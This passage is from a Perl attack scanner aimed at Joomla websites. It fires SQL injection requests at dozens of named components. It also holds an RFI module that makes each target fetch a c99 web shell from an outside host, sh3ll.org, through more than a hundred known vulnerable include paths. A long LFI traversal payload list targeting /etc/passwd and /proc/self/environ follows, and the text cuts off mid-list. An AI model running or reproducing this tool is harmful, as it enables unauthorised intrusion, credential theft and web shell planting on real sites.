  987. $answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
  988. print "[*] Results : CHECK : \n";
  989. print "Joomla Component (com_newsfeeds) SQL Injection Vulnerability ! \n\n"
  990. }
  991. else{print "\n[-] Error\n";
  992. }
  993.  
  994. $host = $target . "/wap/wapmain.php?option=onews&action=link&id=-999 .$wapmain.";
  995. $res = $b->request(HTTP::Request->new(GET=>$host));
  996. $answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
  997. print "[*] Results : CHECK : \n";
  998. print "Joomla Component (wapmain.php) SQL Injection Vulnerability ! \n\n"
  999. }
  1000. else{print "\n[-] Error\n";
  1001. }
  1002.  
  1003. $host = $target . "/index.php?option=com_abc&view=abc&letter=AS&sectionid=-999 .$com_abc.";
  1004. $res = $b->request(HTTP::Request->new(GET=>$host));
  1005. $answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
  1006. print "[*] Results : CHECK : \n";
  1007. print "Joomla Component (com_abc) SQL Injection Vulnerability ! \n\n"
  1008. }
  1009. else{print "\n[-] Error\n";
  1010. }
  1011.  
  1012. $host = $target . "/index2.php?option=com_joomradio&page=show_video&id=-999 .$com_joomradio.";
  1013. $res = $b->request(HTTP::Request->new(GET=>$host));
  1014. $answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
  1015. print "[*] Results : CHECK : \n";
  1016. print "Joomla Component (com_joomradio) SQL Injection Vulnerability ! \n\n"
  1017. }
  1018. else{print "\n[-] Error\n";
  1019. }
  1020.  
  1021. $host = $target . "/index.php?option=com_jtm&view=search&view=search&author=-999 .$com_jtm.";
  1022. $res = $b->request(HTTP::Request->new(GET=>$host));
  1023. $answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
  1024. print "[*] Results : CHECK : \n";
  1025. print "Joomla Component JTM Reseller SQL Injection Vulnerability ! \n\n"
  1026. }
  1027. else{print "\n[-] Error\n";
  1028. }
  1029.  
  1030. $host = $target . "/index.php?option=com_gbufacebook&task=show_face&face_id=-999 .$com_gbufacebook.";
  1031. $res = $b->request(HTTP::Request->new(GET=>$host));
  1032. $answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
  1033. print "[*] Results : CHECK : \n";
  1034. print "Joomla Component (com_gbufacebook) SQL Injection Vulnerability ! \n\n"
  1035. }
  1036. else{print "\n[-] Error\n";
  1037. }
  1038.  
  1039. $host = $target . "/index.php?option=com_manager&view=flight&Itemid=999 .$com_manager.";
  1040. $res = $b->request(HTTP::Request->new(GET=>$host));
  1041. $answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
  1042. print "[*] Results : CHECK : \n";
  1043. print "Joomla Component (com_manager) SQL Injection Vulnerability ! \n\n"
  1044. }
  1045. else{print "\n[-] Error\n";
  1046. }
  1047.  
  1048. $host = $target . "/index.php?option=com_jp_jobs&view=detail&id=-999 .$com_jp_jobs.";
  1049. $res = $b->request(HTTP::Request->new(GET=>$host));
  1050. $answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
  1051. print "[*] Results : CHECK : \n";
  1052. print "Joomla Component (com_jp_jobs) SQL Injection Vulnerability ! \n\n"
  1053. }
  1054. else{print "\n[-] Error\n";
  1055. }
  1056.  
  1057. $host = $target . "/index.php?option=com_sermonspeaker&task=latest_sermons&id=-999 .$com_sermonspeaker.";
  1058. $res = $b->request(HTTP::Request->new(GET=>$host));
  1059. $answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
  1060. print "[*] Results : CHECK : \n";
  1061. print "Joomla Component (com_sermonspeaker) SQL Injection Vulnerability ! \n\n"
  1062. }
  1063. else{print "\n[-] Error\n";
  1064. }
  1065.  
  1066. $host = $target . "/index.php?option=com_jdrugstopics&view=drugsdetails&id=-999 .$com_jdrugstopics.";
  1067. $res = $b->request(HTTP::Request->new(GET=>$host));
  1068. $answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
  1069. print "[*] Results : CHECK : \n";
  1070. print "Joomla Component (com_jdrugstopics) SQL Injection Vulnerability ! \n\n"
  1071. }
  1072. else{print "\n[-] Error\n";
  1073. }
  1074.  
  1075. $host = $target . "/index.php?option=com_mv_restaurantmenumanager&task=menu_display&Venue=1&mid=999 .$com_mv_restaurantmenumanager.";
  1076. $res = $b->request(HTTP::Request->new(GET=>$host));
  1077. $answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
  1078. print "[*] Results : CHECK : \n";
  1079. print "Joomla Component (com_mv_restaurantmenumanager) SQL Injection Vulnerability ! \n\n"
  1080. }
  1081. else{print "\n[-] Error\n";
  1082. }
  1083.  
  1084. $host = $target . "/index.php?option=com_articles&task=view_addarticles&sid=999 .$com_articles.";
  1085. $res = $b->request(HTTP::Request->new(GET=>$host));
  1086. $answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
  1087. print "[*] Results : CHECK : \n";
  1088. print "Joomla Component (com_articles) SQL Injection Vulnerability ! \n\n"
  1089. }
  1090. else{print "\n[-] Error\n";
  1091. }
  1092.  
  1093. $host = $target . "/index.php?option=com_dcs_flashgames&Itemid=61&catid=999 .$com_dcs_flashgames.";
  1094. $res = $b->request(HTTP::Request->new(GET=>$host));
  1095. $answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
  1096. print "[*] Results : CHECK : \n";
  1097. print "Joomla Component (com_dcs_flashgames) SQL Injection Vulnerability ! \n\n"
  1098. }
  1099. else{print "\n[-] Error\n";
  1100. }
  1101.  
  1102. $host = $target . "/index.php?option=com_bidding&id=-999 .$com_bidding.";
  1103. $res = $b->request(HTTP::Request->new(GET=>$host));
  1104. $answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
  1105. print "[*] Results : CHECK : \n";
  1106. print "Joomla Component (com_bidding) SQL Injection Vulnerability ! \n\n"
  1107. }
  1108. else{print "\n[-] Error\n";
  1109. }
  1110.  
  1111. $host = $target . "/index.php?option=com_acteammember&id=-999 .$com_acteammember.";
  1112. $res = $b->request(HTTP::Request->new(GET=>$host));
  1113. $answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
  1114. print "[*] Results : CHECK : \n";
  1115. print "Joomla Component (com_acteammember) SQL Injection Vulnerability ! \n\n"
  1116. }
  1117. else{print "\n[-] Error\n";
  1118. }
  1119.  
  1120. $host = $target . "/index.php?option=com_acstartseite&Itemid=999 .$com_acstartseite.";
  1121. $res = $b->request(HTTP::Request->new(GET=>$host));
  1122. $answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
  1123. print "[*] Results : CHECK : \n";
  1124. print "Joomla Component (com_acstartseite) SQL Injection Vulnerability ! \n\n"
  1125. }
  1126. else{print "\n[-] Error\n";
  1127. }
  1128.  
  1129. $host = $target . "/index.php?option=com_productbook&Itemid=999&func=detail&id=-999 .$com_productbook.";
  1130. $res = $b->request(HTTP::Request->new(GET=>$host));
  1131. $answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
  1132. print "[*] Results : CHECK : \n";
  1133. print "Joomla Component (com_productbook) SQL Injection Vulnerability ! \n\n"
  1134. }
  1135. else{print "\n[-] Error\n";
  1136. }
  1137.  
  1138. $host = $target . "/index.php?option=com_yelp&controller=showdetail&task=showdetail&cid=-999 .$com_yelp.";
  1139. $res = $b->request(HTTP::Request->new(GET=>$host));
  1140. $answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
  1141. print "[*] Results : CHECK : \n";
  1142. print "Joomla Component (com_yelps) SQL Injection Vulnerability ! \n\n"
  1143. }
  1144. else{print "\n[-] Error\n";
  1145. }
  1146.  
  1147. $host = $target . "/index.php?option=com_yelp&controller=showdetail&task=showdetail&cid=-999 .$com_yelp.";
  1148. $res = $b->request(HTTP::Request->new(GET=>$host));
  1149. $answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
  1150. print "[*] Results : CHECK : \n";
  1151. print "Joomla Component (com_yelps) SQL Injection Vulnerability ! \n\n"
  1152. }
  1153. else{print "\n[-] Error\n";
  1154. }
  1155.  
  1156. $host = $target . "/index.php?option=com_dms&task=view_category&category_id=-999 .$com_dms.";
  1157. $res = $b->request(HTTP::Request->new(GET=>$host));
  1158. $answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
  1159. print "[*] Results : CHECK : \n";
  1160. print "Joomla Component (com_dms) SQL Injection Vulnerability ! \n\n"
  1161. }
  1162. else{print "\n[-] Error\n";
  1163. }
  1164.  
  1165. $host = $target . "/administrator/index.php?option=com_jbpublishdownfp&task=edit&cid[]=-999 .$com_jbpublishdownfp.";
  1166. $res = $b->request(HTTP::Request->new(GET=>$host));
  1167. $answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
  1168. print "[*] Results : CHECK : \n";
  1169. print "Joomla Component (com_jbpublishdownfp) SQL Injection Vulnerability ! \n\n"
  1170. }
  1171. else{print "\n[-] Error\n";
  1172. }
  1173.  
  1174. $b = LWP::UserAgent->new() or die "Could not initialize browser\n";
  1175. $b->agent('Mozilla/5.0 (compatible; MSIE 7.0; Windows)');
  1176. $host = $target . "/administrator/index.php?option=com_casino&task=category&id=-999 .$com_casino.";
  1177. $res = $b->request(HTTP::Request->new(GET=>$host));
  1178. $answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
  1179. print "[*] Results : CHECK : \n";
  1180. print "Joomla Component (com_casino) SQL Injection Vulnerability ! \n\n"
  1181. }
  1182. else{print "\n[-] Error\n";
  1183. }
  1184.  
  1185. $host = $target . "/index.php?option=com_doqment&cid=-999 .$com_doqment.";
  1186. $res = $b->request(HTTP::Request->new(GET=>$host));
  1187. $answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
  1188. print "[*] Results : CHECK : \n";
  1189. print "Joomla Component (com_doqment) SQL Injection Vulnerability ! \n\n"
  1190. }
  1191. else{print "\n[-] Error\n";
  1192. }
  1193.  
  1194. $host = $target . "/index.php?option=com_alfresco&task=edit&id_pan=999 .$com_alfresco.";
  1195. $res = $b->request(HTTP::Request->new(GET=>$host));
  1196. $answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
  1197. print "[*] Results : CHECK : \n";
  1198. print "Joomla Component (com_alfresco) SQL Injection Vulnerability ! \n\n"
  1199. }
  1200. else{print "\n[-] Error\n";
  1201. }
  1202.  
  1203. $host = $target . "/index.php?option=com_countries&locat=999 .$com_countries.";
  1204. $res = $b->request(HTTP::Request->new(GET=>$host));
  1205. $answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
  1206. print "[*] Results : CHECK : \n";
  1207. print "Joomla Component (com_countries) SQL Injection Vulnerability ! \n\n"
  1208. }
  1209. else{print "\n[-] Error\n";
  1210. }
  1211.  
  1212. }
  1213. if($c eq '4')
  1214. {
  1215. system('cls');
  1216. system('title JOomla Rfi Scanner');
  1217. @RFI = ("/components/com_flyspray/startdown.php?file=",
  1218. "/administrator/components/com_admin/admin.admin.html.php?mosConfig_absolute_path=",
  1219. "/components/com_simpleboard/file_upload.php?sbp=",
  1220. "/components/com_hashcash/server.php?mosConfig_absolute_path=",
  1221. "/components/com_htmlarea3_xtd-c/popups/ImageManager/config.inc.php?mosConfig_absolute_path=",
  1222. "/components/com_sitemap/sitemap.xml.php?mosConfig_absolute_path=",
  1223. "/components/com_performs/performs.php?mosConfig_absolute_path=",
  1224. "/components/com_forum/download.php?phpbb_root_path=",
  1225. "/components/com_pccookbook/pccookbook.php?mosConfig_absolute_path=",
  1226. "/components/com_extcalendar/extcalendar.php?mosConfig_absolute_path=",
  1227. "/components/minibb/index.php?absolute_path=",
  1228. "/components/com_smf/smf.php?mosConfig_absolute_path=",
  1229. "/modules/mod_calendar.php?absolute_path=",
  1230. "/components/com_pollxt/conf.pollxt.php?mosConfig_absolute_path=",
  1231. "/components/com_loudmounth/includes/abbc/abbc.class.php?mosConfig_absolute_path=",
  1232. "/components/com_videodb/core/videodb.class.xml.php?mosConfig_absolute_path=",
  1233. "/components/com_pcchess/include.pcchess.php?mosConfig_absolute_path=",
  1234. "/administrator/components/com_multibanners/extadminmenus.class.php?mosConfig_absolute_path=",
  1235. "/administrator/components/com_a6mambohelpdesk/admin.a6mambohelpdesk.php?mosConfig_live_site=",
  1236. "/administrator/components/com_colophon/admin.colophon.php?mosConfig_absolute_path=",
  1237. "/administrator/components/com_mgm/help.mgm.php?mosConfig_absolute_path=",
  1238. "/components/com_mambatstaff/mambatstaff.php?mosConfig_absolute_path=",
  1239. "/components/com_securityimages/configinsert.php?mosConfig_absolute_path=",
  1240. "/components/com_securityimages/lang.php?mosConfig_absolute_path=",
  1241. "/components/com_artlinks/artlinks.dispnew.php?mosConfig_absolute_path=",
  1242. "/components/com_galleria/galleria.html.php?mosConfig_absolute_path=",
  1243. "/akocomments.php?mosConfig_absolute_path=",
  1244. "/administrator/components/com_cropimage/admin.cropcanvas.php?cropimagedir=",
  1245. "/administrator/components/com_kochsuite/config.kochsuite.php?mosConfig_absolute_path=",
  1246. "/administrator/components/com_comprofiler/plugin.class.php?mosConfig_absolute_path=",
  1247. "/components/com_zoom/classes/fs_unix.php?mosConfig_absolute_path=",
  1248. "/components/com_zoom/includes/database.php?mosConfig_absolute_path=",
  1249. "/administrator/components/com_serverstat/install.serverstat.php?mosConfig_absolute_path=",
  1250. "/components/com_fm/fm.install.php?lm_absolute_path=",
  1251. "/administrator/components/com_mambelfish/mambelfish.class.php?mosConfig_absolute_path=",
  1252. "/components/com_lmo/lmo.php?mosConfig_absolute_path=",
  1253. "/administrator/components/com_webring/admin.webring.docs.php?component_dir=",
  1254. "/administrator/components/com_remository/admin.remository.php?mosConfig_absolute_path=",
  1255. "/administrator/components/com_babackup/classes/Tar.php?mosConfig_absolute_path=",
  1256. "/administrator/components/com_lurm_constructor/admin.lurm_constructor.php?lm_absolute_path=",
  1257. "/components/com_mambowiki/MamboLogin.php?IP=",
  1258. "/administrator/components/com_a6mambocredits/admin.a6mambocredits.php?mosConfig_live_site=",
  1259. "/administrator/components/com_phpshop/toolbar.phpshop.html.php?mosConfig_absolute_path=",
  1260. "/components/com_cpg/cpg.php?mosConfig_absolute_path=",
  1261. "/components/com_moodle/moodle.php?mosConfig_absolute_path=",
  1262. "/components/com_extended_registration/registration_detailed.inc.php?mosConfig_absolute_path=",
  1263. "/components/com_mospray/scripts/admin.php?basedir=",
  1264. "/administrator/components/com_uhp/uhp_config.php?mosConfig_absolute_path=",
  1265. "/administrator/components/com_peoplebook/param.peoplebook.php?mosConfig_absolute_path=",
  1266. "/administrator/components/com_mmp/help.mmp.php?mosConfig_absolute_path=",
  1267. "/components/com_reporter/processor/reporter.sql.php?mosConfig_absolute_path=",
  1268. "/components/com_madeira/img.php?url=",
  1269. "/components/com_bsq_sitestats/external/rssfeed.php?baseDir=",
  1270. "/com_bsq_sitestats/external/rssfeed.php?baseDir=",
  1271. "/com_joomla_flash_uploader/install.joomla_flash_uploader.php?mosConfig_absolute_path=",
  1272. "/com_joomla_flash_uploader/uninstall.joomla_flash_uploader.php?mosConfig_absolute_path=",
  1273. "/administrator/components/admin.jjgallery.php?mosConfig_absolute_path=",
  1274. "/components/com_jreviews/scripts/xajax.inc.php?mosConfig_absolute_path=",
  1275. "/com_directory/modules/mod_pxt_latest.php?GLOBALS[mosConfig_absolute_path]=",
  1276. "/administrator/components/com_chronocontact/excelwriter/PPS/File.php?mosConfig_absolute_path=",
  1277. "/administrator/components/com_chronocontact/excelwriter/Writer.php?mosConfig_absolute_path=",
  1278. "/administrator/components/com_chronocontact/excelwriter/PPS.php?mosConfig_absolute_path=",
  1279. "/administrator/components/com_chronocontact/excelwriter/Writer/BIFFwriter.php?mosConfig_absolute_path=",
  1280. "/administrator/components/com_chronocontact/excelwriter/Writer/Workbook.php?mosConfig_absolute_path=",
  1281. "/administrator/components/com_chronocontact/excelwriter/Writer/Worksheet.php?mosConfig_absolute_path=",
  1282. "/administrator/components/com_chronocontact/excelwriter/Writer/Format.php?mosConfig_absolute_path=",
  1283. "/index.php?option=com_custompages&cpage=",
  1284. "/component/com_onlineflashquiz/quiz/common/db_config.inc.php?base_dir=",
  1285. "/administrator/components/com_joomla-visites/core/include/myMailer.class.php?mosConfig_absolute_path=",
  1286. "/components/com_facileforms/facileforms.frame.php?ff_compath=",
  1287. "/administrator/components/com_rssreader/admin.rssreader.php?mosConfig_live_site=",
  1288. "/administrator/components/com_feederator/includes/tmsp/add_tmsp.php?mosConfig_absolute_path=",
  1289. "/administrator/components/com_feederator/includes/tmsp/edit_tmsp.php?mosConfig_absolute_path=",
  1290. "/administrator/components/com_feederator/includes/tmsp/subscription.php?GLOBALS[mosConfig_absolute_path]=",
  1291. "/administrator/components/com_feederator/includes/tmsp/tmsp.php?mosConfig_absolute_path=",
  1292. "/administrator/components/com_clickheat/install.clickheat.php?GLOBALS[mosConfig_absolute_path]=",
  1293. "/administrator/components/com_clickheat/includes/heatmap/_main.php?mosConfig_absolute_path=",
  1294. "/administrator/components/com_clickheat/includes/heatmap/main.php?mosConfig_absolute_path=",
  1295. "/administrator/components/com_clickheat/includes/overview/main.php?mosConfig_absolute_path=",
  1296. "/administrator/components/com_clickheat/Recly/Clickheat/Cache.php?GLOBALS[mosConfig_absolute_path]=",
  1297. "/administrator/components/com_clickheat/Recly/Clickheat/Clickheat_Heatmap.php?GLOBALS[mosConfig_absolute_path]=",
  1298. "/administrator/components/com_clickheat/Recly/common/GlobalVariables.php?GLOBALS[mosConfig_absolute_path]=",
  1299. "/administrator/components/com_competitions/includes/competitions/add.php?GLOBALS[mosConfig_absolute_path]=",
  1300. "/administrator/components/com_competitions/includes/competitions/competitions.php?GLOBALS[mosConfig_absolute_path]=",
  1301. "/administrator/components/com_competitions/includes/settings/settings.php?mosConfig_absolute_path=",
  1302. "/administrator/components/com_dadamail/config.dadamail.php?GLOBALS['mosConfig_absolute_path']=",
  1303. "/administrator/components/com_googlebase/admin.googlebase.php?mosConfig_absolute_path=",
  1304. "/administrator/components/com_ongumatimesheet20/lib/onguma.class.php?mosConfig_absolute_path=",
  1305. "/administrator/components/com_treeg/admin.treeg.php?mosConfig_live_site=",
  1306. "/administrator/components/com_bayesiannaivefilter/lang.php?mosConfig_absolute_path=",
  1307. "/components/com_jd-wiki/lib/tpl/default/main.php?mosConfig_absolute_path=",
  1308. "/administrator/components/com_jim/install.jim.php?mosConfig_absolute_path=",
  1309. "/components/com_mtree/Savant2/Savant2_Plugin_textarea.php?mosConfig_absolute_path=",
  1310. "/components/com_artlinks/artlinks.dispnew.php?mosConfig_absolute_path=",
  1311. "/administrator/components/com_linkdirectory/toolbar.linkdirectory.html.php?mosConfig_absolute_path=",
  1312. "/administrator/components/com_kochsuite/config.kochsuite.php?mosConfig_absolute_path=",
  1313. "/components/com_reporter/reporter.logic.php?mosConfig_absolute_path=",
  1314. "/administrator/components/com_swmenupro/ImageManager/Classes/ImageManager.php?mosConfig_absolute_path=",
  1315. "/components/com_swmenupro/ImageManager/Classes/ImageManager.php?mosConfig_absolute_path=",
  1316. "/components/com_joomlaboard/file_upload.php?sbp=",
  1317. "/components/com_thopper/inc/contact_type.php?mosConfig_absolute_path=",
  1318. "/components/com_thopper/inc/itemstatus_type.php?mosConfig_absolute_path=",
  1319. "/components/com_thopper/inc/projectstatus_type.php?mosConfig_absolute_path=",
  1320. "/components/com_thopper/inc/request_type.php?mosConfig_absolute_path=",
  1321. "/components/com_thopper/inc/responses_type.php?mosConfig_absolute_path=",
  1322. "/components/com_thopper/inc/timelog_type.php?mosConfig_absolute_path=",
  1323. "/components/com_thopper/inc/urgency_type.php?mosConfig_absolute_path=",
  1324. "/components/com_mosmedia/media.tab.php?mosConfig_absolute_path=",
  1325. "/components/com_mosmedia/media.divs.php?mosConfig_absolute_path=",
  1326. "/modules/mod_as_category/mod_as_category.php?mosConfig_absolute_path=",
  1327. "/modules/mod_as_category.php?mosConfig_absolute_path=",
  1328. "/components/com_articles.php?absolute_path=",
  1329. "/classes/html/com_articles.php?absolute_path=",
  1330. "/administrator/components/com_jpack/includes/CAltInstaller.php?mosConfig_absolute_path=",
  1331. "/templates/be2004-2/index.php?mosConfig_absolute_path=",
  1332. "/libraries/pcl/pcltar.php?g_pcltar_lib_dir=",
  1333. "/administrator/components/com_joomlaradiov5/admin.joomlaradiov5.php?mosConfig_live_site=",
  1334. "/administrator/components/com_joomlaflashfun/admin.joomlaflashfun.php?mosConfig_live_site=",
  1335. "/administrator/components/com_joom12pic/admin.joom12pic.php?mosConfig_live_site=",
  1336. "/components/com_slideshow/admin.slideshow1.php?mosConfig_live_site=",
  1337. "/administrator/components/com_panoramic/admin.panoramic.php?mosConfig_live_site=",
  1338. "/administrator/components/com_wmtgallery/admin.wmtgallery.php?mosConfig_live_site=",
  1339. "/administrator/components/com_wmtportfolio/admin.wmtportfolio.php?mosConfig_absolute_path=",
  1340. "/administrator/components/com_mosmedia/includes/credits.html.php?mosConfig_absolute_path=",
  1341. "/administrator/components/com_mosmedia/includes/info.html.php?mosConfig_absolute_path=",
  1342. "/administrator/components/com_mosmedia/includes/media.divs.php?mosConfig_absolute_path=",
  1343. "/administrator/components/com_mosmedia/includes/media.divs.js.php?mosConfig_absolute_path=",
  1344. "/administrator/components/com_mosmedia/includes/purchase.html.php?mosConfig_absolute_path=",
  1345. "/administrator/components/com_mosmedia/includes/support.html.php?mosConfig_absolute_path=",
  1346. "/components/com_mp3_allopass/allopass.php?mosConfig_live_site=",
  1347. "/components/com_mp3_allopass/allopass-error.php?mosConfig_live_site=",
  1348. "/administrator/components/com_jcs/jcs.function.php?mosConfig_absolute_path=",
  1349. "/administrator/components/com_jcs/view/add.php?mosConfig_absolute_path=",
  1350. "/administrator/components/com_jcs/view/history.php?mosConfig_absolute_path=",
  1351. "/administrator/components/com_jcs/view/register.php?mosConfig_absolute_path=",
  1352. "/administrator/components/com_jcs/views/list.sub.html.php?mosConfig_absolute_path=",
  1353. "/administrator/components/com_jcs/views/list.user.sub.html.php?mosConfig_absolute_path=",
  1354. "/administrator/components/com_jcs/views/reports.html.php?mosConfig_absolute_path=",
  1355. "/administrator/components/com_joomla_flash_uploader/install.joomla_flash_uploader.php?mosConfig_absolute_path=",
  1356. "/administrator/components/com_joomla_flash_uploader/uninstall.joomla_flash_uploader.php?mosConfig_absolute_path=",
  1357. "/administrator/components/com_color/admin.color.php?mosConfig_live_site=",
  1358. "/administrator/components/com_jjgallery/admin.jjgallery.php?mosConfig_absolute_path=",
  1359. "/administrator/components/com_juser/xajax_functions.php?mosConfig_absolute_path=",
  1360. "/index.php?option=com_sef&Itemid=&mosConfig.absolute.path=",
  1361. "/index.php?option=com_adsmanager&mosConfig_absolute_path=",
  1362. "/com_ponygallery/admin.ponygallery.html.php?mosConfig_absolute_path=",
  1363. "/com_magazine_3_0_1/magazine.functions.php?config=",
  1364. "/administrator/components/com_joomla-visites/core/include/myMailer.class.php?mosConfig_absolute_path=",
  1365. "/administrator/components/com_universal/includes/config/config.html.php?mosConfig_absolute_path=",
  1366. "/modules/mod_pxt_latest.php?GLOBALS[mosConfig_absolute_path]=");
  1367.  
  1368. print "Please Enter Target [http://www.site.com]";
  1369. print "\n\n Target:";
  1370. $Target=<STDIN>;
  1371. chomp ($Target);
  1372. print"\n\n \t\t Please wait";
  1373. sleep(2);
  1374. print"\n";
  1375.  
  1376. foreach $RFI(@RFI){
  1377. my $URL =$Target.$RFI."http://www.sh3ll.org/c99.txt";
  1378. my $Source = get $URL;
  1379. die "Can not get $URL" unless defined $URL;
  1380. if ($Source =~ /c99shell/ || /safe_mode/ || /Executed / || /Shell/){ $Message ="RFI Vulnerability FOUND";}
  1381. else { $Message = "NOT FOUND RFI Vulnerability";}
  1382. print "\n \n \n \n \t \t \t \t FINISH ";
  1383. print "\n $URL  =>   $Message \n";
  1384. open (TEXT, '>>RFI.txt');
  1385. print TEXT "\n $URL   =>   $Message \n\n";
  1386. close (TEXT);
  1387. print 'result in RFI.txt';
  1388.  
  1389. }
  1390.  
  1391.  
  1392. }
  1393. if($c eq '3')
  1394. {
  1395. system('cls');
  1396. system('title Joomla LFI Scanner');
  1397. @LFI =("/etc/passwd","../etc/passwd","../../etc/passwd","../../../etc/passwd","../../../../etc/passwd","../../../../../etc/passwd","../../../../../../etc/passwd","../../../../../../../etc/passwd","../../../../../../../../etc/passwd","../../../../../../../../../etc/passwd","../../../../../../../../../../etc/passwd","/etc/passwd%00","../etc/passwd%00","../../etc/passwd%00","../../../etc/passwd%00","../../../../etc/passwd%00","../../../../../etc/passwd%00","../../../../../../etc/passwd%00","../../../../../../../etc/passwd%00","../../../../../../../../etc/passwd%00","../../../../../../../../../etc/passwd%00","../../../../../../../../../../etc/passwd%00","....//etc/passwd","....//....//etc/passwd","....//....//....//etc/passwd","....//....//....//....//etc/passwd","....//....//....//....//....//etc/passwd","....//....//....//....//....//....//etc/passwd","....//....//....//....//....//....//....//etc/passwd","....//....//....//....//....//....//....//....//etc/passwd","....//....//....//....//....//....//....//....//....//etc/passwd","....//....//....//....//....//....//....//....//....//....//etc/passwd","....//etc/passwd%00","....//....//etc/passwd%00","....//....//....//etc/passwd%00","....//....//....//....//etc/passwd%00","....//....//....//....//....//etc/passwd%00","....//....//....//....//....//....//etc/passwd%00","....//....//....//....//....//....//....//etc/passwd%00","....//....//....//....//....//....//....//....//etc/passwd%00","....//....//....//....//....//....//....//....//....//etc/passwd%00","....//....//....//....//....//....//....//....//....//....//etc/passwd%00","%2Fetc%2Fpasswd","..%2Fetc%2Fpasswd","..%2F..%2Fetc%2Fpasswd","..%2F..%2F..%2Fetc%2Fpasswd","..%2F..%2F..%2F..%2Fetc%2Fpasswd","..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd","..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd","..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd","..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd","..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd","..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd","%2Fetc%2Fpasswd%00","..%2Fetc%2Fpasswd%00","..%2F..%2Fetc%2Fpasswd%00","..%2F..%2F..%2Fetc%2Fpasswd%00","..%2F..%2F..%2F..%2Fetc%2Fpasswd%00","..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00","..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00","..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00","..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00","..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00","..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00","....%2f%2Fetc/passwd","....%2f%2F....%2f%2Fetc/passwd","....%2f%2F....%2f%2F....%2f%2Fetc/passwd","....%2f%2F....%2f%2F....%2f%2F....%2f%2Fetc/passwd","....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2Fetc/passwd","....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2Fetc/passwd","....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2Fetc/passwd","....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2Fetc/passwd","....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2Fetc/passwd","....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2Fetc/passwd","....%2f%2Fetc/passwd%00","....%2f%2F....%2f%2Fetc/passwd%00","....%2f%2F....%2f%2F....%2f%2Fetc/passwd%00","....%2f%2F....%2f%2F....%2f%2F....%2f%2Fetc/passwd%00","....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2Fetc/passwd%00","....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2Fetc/passwd%00","....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2Fetc/passwd%00","....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2Fetc/passwd%00","....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2Fetc/passwd%00","....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2F....%2f%2Fetc/passwd%00","/proc/self/environ","../proc/self/environ","../../proc/self/environ","../../../proc/self/environ","../../../../proc/self/environ","../../../../../proc/self/environ","../../../../../../proc/self/environ","../../../../../../../proc/self/environ","../../../../../../../../proc/self/environ","../../../../../../../../../proc/self/environ","../../../../../../../../../../proc/self/environ","/proc/self/environ%00","../proc/self/environ%00","../../proc/self/environ%00","../../../proc/self/environ%00","../../../../proc/self/environ%00","../../../../../proc/self/environ%00","../../../../../../proc/self/environ%00","../../../../../../../proc/self/environ%00","../../../../../../../../proc/self/environ%00","../../../../../../../../../proc/self/environ%00","../../../../../../../../../../proc/self/environ%00","%2Fproc%2Fself%2Fenviron","..%2Fproc%2Fself%2Fenviron","..%2F..%2Fproc%2Fself%2Fenviron","..%2F..%2F..%2Fproc%2Fself%2Fenviron","..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron","..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron","..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron","..%2F..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron","..%2F